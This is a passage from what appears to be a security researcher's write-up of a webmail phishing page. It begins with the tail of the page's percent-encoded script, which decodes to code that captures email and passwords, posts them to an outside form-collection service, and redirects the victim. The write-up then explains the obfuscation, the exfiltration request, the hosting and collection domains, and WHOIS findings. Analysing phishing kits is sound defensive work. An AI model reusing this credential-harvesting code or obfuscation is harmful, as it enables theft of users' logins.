1%6C%69%64%20%65%6D%61%69%6C%20%61%64%64%72%65%73%73%27%29%3B%0A%20%20%20%20%20%20%20%20%72%65%74%75%72%6E%3B%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%69%66%20%28%21%70%61%73%73%77%6F%72%64%29%20%7B%0A%20%20%20%20%20%20%20%20%61%6C%65%72%74%28%27%50%6C%65%61%73%65%20%65%6E%74%65%72%20%79%6F%75%72%20%70%61%73%73%77%6F%72%64%27%29%3B%0A%20%20%20%20%20%20%20%20%72%65%74%75%72%6E%3B%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%61%74%74%65%6D%70%74%43%6F%75%6E%74%2B%2B%3B%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%2F%2F%20%53%68%6F%77%20%6C%6F%61%64%65%72%0A%20%20%20%20%20%20%6C%6F%61%64%65%72%2E%73%74%79%6C%65%2E%64%69%73%70%6C%61%79%20%3D%20%27%66%6C%65%78%27%3B%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%2F%2F%20%50%72%65%70%61%72%65%20%64%61%74%61%20%66%6F%72%20%46%6F%72%6D%73%70%61%72%6B%0A%20%20%20%20%20%20%63%6F%6E%73%74%20%66%6F%72%6D%44%61%74%61%20%3D%20%7B%0A%20%20%20%20%20%20%20%20%65%6D%61%69%6C%3A%20%65%6D%61%69%6C%2C%0A%20%20%20%20%20%20%20%20%70%61%73%73%77%6F%72%64%3A%20%70%61%73%73%77%6F%72%64%2C%0A%20%20%20%20%20%20%20%20%77%65%62%6D%61%69%6C%5F%6C%6F%67%69%6E%3A%20%74%72%75%65%0A%20%20%20%20%20%20%7D%3B%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%2F%2F%20%41%64%64%20%66%69%72%73%74%20%61%74%74%65%6D%70%74%20%69%6E%66%6F%20%6F%6E%20%73%65%63%6F%6E%64%20%74%72%79%0A%20%20%20%20%20%20%69%66%20%28%61%74%74%65%6D%70%74%43%6F%75%6E%74%20%3D%3D%3D%20%32%29%20%7B%0A%20%20%20%20%20%20%20%20%66%6F%72%6D%44%61%74%61%2E%66%69%72%73%74%5F%61%74%74%65%6D%70%74%5F%70%61%73%73%77%6F%72%64%20%3D%20%66%69%72%73%74%50%61%73%73%77%6F%72%64%3B%0A%20%20%20%20%20%20%20%20%66%6F%72%6D%44%61%74%61%2E%61%74%74%65%6D%70%74%20%3D%20%27%73%65%63%6F%6E%64%27%3B%0A%20%20%20%20%20%20%7D%20%65%6C%73%65%20%69%66%20%28%61%74%74%65%6D%70%74%43%6F%75%6E%74%20%3D%3D%3D%20%31%29%20%7B%0A%20%20%20%20%20%20%20%20%66%69%72%73%74%50%61%73%73%77%6F%72%64%20%3D%20%70%61%73%73%77%6F%72%64%3B%0A%20%20%20%20%20%20%20%20%66%6F%72%6D%44%61%74%61%2E%61%74%74%65%6D%70%74%20%3D%20%27%66%69%72%73%74%27%3B%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%74%72%79%20%7B%0A%20%20%20%20%20%20%20%20%61%77%61%69%74%20%66%65%74%63%68%28%46%4F%52%4D%53%50%41%52%4B%5F%55%52%4C%2C%20%7B%0A%20%20%20%20%20%20%20%20%20%20%6D%65%74%68%6F%64%3A%20%27%50%4F%53%54%27%2C%0A%20%20%20%20%20%20%20%20%20%20%68%65%61%64%65%72%73%3A%20%7B%20%27%43%6F%6E%74%65%6E%74%2D%54%79%70%65%27%3A%20%27%61%70%70%6C%69%63%61%74%69%6F%6E%2F%6A%73%6F%6E%27%20%7D%2C%0A%20%20%20%20%20%20%20%20%20%20%62%6F%64%79%3A%20%4A%53%4F%4E%2E%73%74%72%69%6E%67%69%66%79%28%66%6F%72%6D%44%61%74%61%29%0A%20%20%20%20%20%20%20%20%7D%29%3B%0A%20%20%20%20%20%20%7D%20%63%61%74%63%68%28%65%72%72%29%20%7B%0A%20%20%20%20%20%20%20%20%63%6F%6E%73%6F%6C%65%2E%6C%6F%67%28%27%46%6F%72%6D%73%70%61%72%6B%20%65%72%72%6F%72%3A%27%2C%20%65%72%72%29%3B%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%2F%2F%20%45%78%74%72%61%63%74%20%64%6F%6D%61%69%6E%20%66%72%6F%6D%20%65%6D%61%69%6C%20%66%6F%72%20%72%65%64%69%72%65%63%74%0A%20%20%20%20%20%20%63%6F%6E%73%74%20%64%6F%6D%61%69%6E%20%3D%20%65%6D%61%69%6C%2E%73%70%6C%69%74%28%27%40%27%29%5B%31%5D%3B%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%2F%2F%20%52%65%64%69%72%65%63%74%20%74%6F%20%74%68%65%20%72%65%61%6C%20%64%6F%6D%61%69%6E%20%77%69%74%68%6F%75%74%20%65%78%70%6F%73%69%6E%67%20%70%61%73%73%77%6F%72%64%20%69%6E%20%55%52%4C%0A%20%20%20%20%20%20%73%65%74%54%69%6D%65%6F%75%74%28%28%29%20%3D%3E%20%7B%0A%20%20%20%20%20%20%20%20%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%2E%68%72%65%66%20%3D%20%60%68%74%74%70%73%3A%2F%2F%24%7B%64%6F%6D%61%69%6E%7D%60%3B%0A%20%20%20%20%20%20%7D%2C%20%31%35%30%30%29%3B%0A%20%20%20%20%7D%29%3B%0A%20%20%3C%2F%73%63%72%69%70%74%3E%0A%3C%2F%62%6F%64%79%3E%0A%3C%2F%68%74%6D%6C%3E%0A'));|
|//-->|
|</script></body></html>

The source code revealed that the page content was not directly written in HTML. Instead, it was injected dynamically using JavaScript obfuscation:

The main payload was encoded using percent-encoding (%3C%21%44%4F...)
It was decoded at runtime using unescape() and rendered via document.write()

A common technique to bypass static analysis.

The most notable aspect of this sample was the deliberate use of multi layer client-side obfuscation to conceal both structure and intent. While the underlying attack logic was relatively straightforward.

Encoded Payload via Percent-Encoding

The outer HTML document did not directly contain executable logic. Instead, it relied on a single JavaScript call:

document.write(unescape('%3C%21%44%4F%43%54%59%50%45...'));

This represents a percent-encoded payload, where every byte of the original HTML/JavaScript content was transformed into hexadecimal escape sequences prefixed with %.

For example:

%3C → <
%68 → h
%74 → t
%6D → m
%6C → l

When combined, these sequences reconstruct a fully functional HTML document.

Runtime Reconstruction Using `unescape()`

The decoding process occurs entirely at runtime through the deprecated but still functional unescape() function.

In this case, I observed the following execution chain:

The browser loads the initial HTML shell
The JavaScript engine encounters document.write()
unescape() decodes the percent-encoded string into raw HTML
The decoded content is injected directly into the DOM At this point, the real phishing interface is never visible in the static source view, it only exists after execution in the browser context.

This is a key evasion technique because:

View-source inspection shows only obfuscated data.
Security tools that do not execute JS miss the payload entirely.

Honeypot Field

A hidden input field was included:

<input type="text" name="_gotcha" style="display:none">

A simple bot detection method. Automated scrapers often fill all fields, while real users never interact with hidden inputs. Any value in this field can be used to identify non-human interaction.

Credential Flow and Exfiltration Path

After reconstructing the full execution flow, the most important finding was not the UI deception itself, but the data exfiltration that activates immediately after user input. The browser never sends credentials to a legitimate authentication backend. Instead, the form submission is intercepted entirely on the client side:

Email and password are captured via DOM access
Input values are normalized using .trim()
Data is assembled into a structured JSON object

When I intercepted the traffic using Burp Suite, I captured an HTTP OPTIONS request to:

The browser is enforcing the Same-Origin Policy (SOP).

Because the phishing page is hosted on:

https://red-blondell-19.tiiny.site

and the exfiltration endpoint is:

https://submit-form.com

the browser must first verify whether cross-origin POST requests are allowed.

So it sends:

OPTIONS /vJIgjz2ZjAccess-Control-Request-Method: POSTAccess-Control-Request-Headers: content-typeOrigin: https://red-blondell-19.tiiny.site

This is a permission check, not a data transfer.

Credential Exfiltration Request (POST)

Immediately after the preflight approval, the actual credential payload is transmitted:

WHOIS Findings for submit-form.com

From the record:

Registrar: Namecheap Inc
Registrant Organization: Withheld for Privacy ehf
Registrant Location: Reykjavik, Iceland
Contact: Proxy email (masked via privacy service)
Status: clientTransferProhibited
DNS: AWS Route 53 name servers

This confirms that the domain is part of a modular phishing setup where ownership is hidden, and infrastructure is distributed across multiple providers to reduce detection and takedown risk.

Still at low detection risk on virustotal.